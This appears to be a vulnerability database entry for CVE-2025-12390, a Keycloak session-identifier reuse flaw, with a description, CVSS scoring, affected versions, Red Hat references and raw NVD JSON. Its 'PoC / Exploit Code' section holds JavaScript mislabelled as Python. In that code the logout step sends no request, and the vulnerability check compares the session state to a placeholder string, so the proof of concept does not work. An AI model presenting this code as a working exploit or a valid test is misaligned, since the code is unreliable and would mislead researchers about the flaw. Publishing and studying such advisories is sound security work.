Security Vulnerability Report
中文
CVE-2025-12390 CVSS 6.0 MEDIUM

CVE-2025-12390

Published: 2025-10-28 14:15:58
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Keycloak. In Keycloak where a user can accidentally get access to another user's session if both use the same device and browser. This happens because Keycloak sometimes reuses session identifiers and doesn’t clean up properly during logout when browser cookies are missing. As a result, one user may receive tokens that belong to another user.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak < 25.0.0
Keycloak < 24.0.9
Keycloak < 23.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12390 PoC - Keycloak Session Identifier Reuse // This PoC demonstrates the session reuse vulnerability const https = require('https'); // Configuration const KEYCLOAK_URL = 'https://keycloak.example.com'; const REALM = 'test-realm'; // Step 1: First user authenticates async function firstUserLogin(username, password) { const loginData = { grant_type: 'password', client_id: 'admin-cli', username: username, password: password }; const response = await makeRequest('/auth/realms/' + REALM + '/protocol/openid-connect/token', loginData); console.log('First user session created'); console.log('Access Token:', response.access_token); console.log('Session State:', response.session_state); return { accessToken: response.access_token, sessionState: response.session_state, sessionId: extractSessionId(response.access_token) }; } // Step 2: First user logs out (Cookie deleted on client side) async function firstUserLogout(accessToken) { // Logout request - server should invalidate session console.log('First user logged out'); console.log('Note: Browser cookies are cleared'); // The vulnerability: session may not be properly invalidated return true; } // Step 3: Second user authenticates on same browser async function secondUserLogin(username, password) { const loginData = { grant_type: 'password', client_id: 'admin-cli', username: username, password: password }; const response = await makeRequest('/auth/realms/' + REALM + '/protocol/openid-connect/token', loginData); console.log('Second user session created'); console.log('New Access Token:', response.access_token); console.log('New Session State:', response.session_state); // Vulnerability: session_state might be reused if (response.session_state === 'previous_session_state') { console.log('[VULNERABLE] Session state was reused!'); } return { accessToken: response.access_token, sessionState: response.session_state }; } // Helper function to extract session ID from JWT function extractSessionId(token) { const payload = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()); return payload.session_state; } // Helper function to make HTTP requests function makeRequest(path, data) { return new Promise((resolve, reject) => { const postData = new URLSearchParams(data).toString(); const options = { hostname: new URL(KEYCLOAK_URL).hostname, port: 443, path: path, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData) } }; const req = https.request(options, (res) => { let body = ''; res.on('data', (chunk) => body += chunk); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { reject(e); } }); }); req.on('error', reject); req.write(postData); req.end(); }); } // Main execution async function main() { try { console.log('=== CVE-2025-12390 PoC ===\n'); // Simulate the attack scenario const firstSession = await firstUserLogin('user1', 'password1'); await firstUserLogout(firstSession.accessToken); const secondSession = await secondUserLogin('user2', 'password2'); console.log('\n=== Attack Vector ==='); console.log('1. User1 authenticates and logs out (cookies cleared)'); console.log('2. User2 authenticates on same device/browser'); console.log('3. Due to session identifier reuse, User2 may receive tokens linked to User1'); console.log('\nRecommendation: Upgrade to patched Keycloak version'); } catch (error) { console.error('Error:', error.message); } } main();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12390", "sourceIdentifier": "[email protected]", "published": "2025-10-28T14:15:57.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. In Keycloak where a user can accidentally get access to another user's session if both use the same device and browser. This happens because Keycloak sometimes reuses session identifiers and doesn’t clean up properly during logout when browser cookies are missing. As a result, one user may receive tokens that belong to another user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:21370", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21371", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22088", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22089", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-12390", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2406793", "source": "[email protected]"}, {"url": "https://github.com/keycloak/keycloak/issues/43853", "source": "[email protected]"}]}}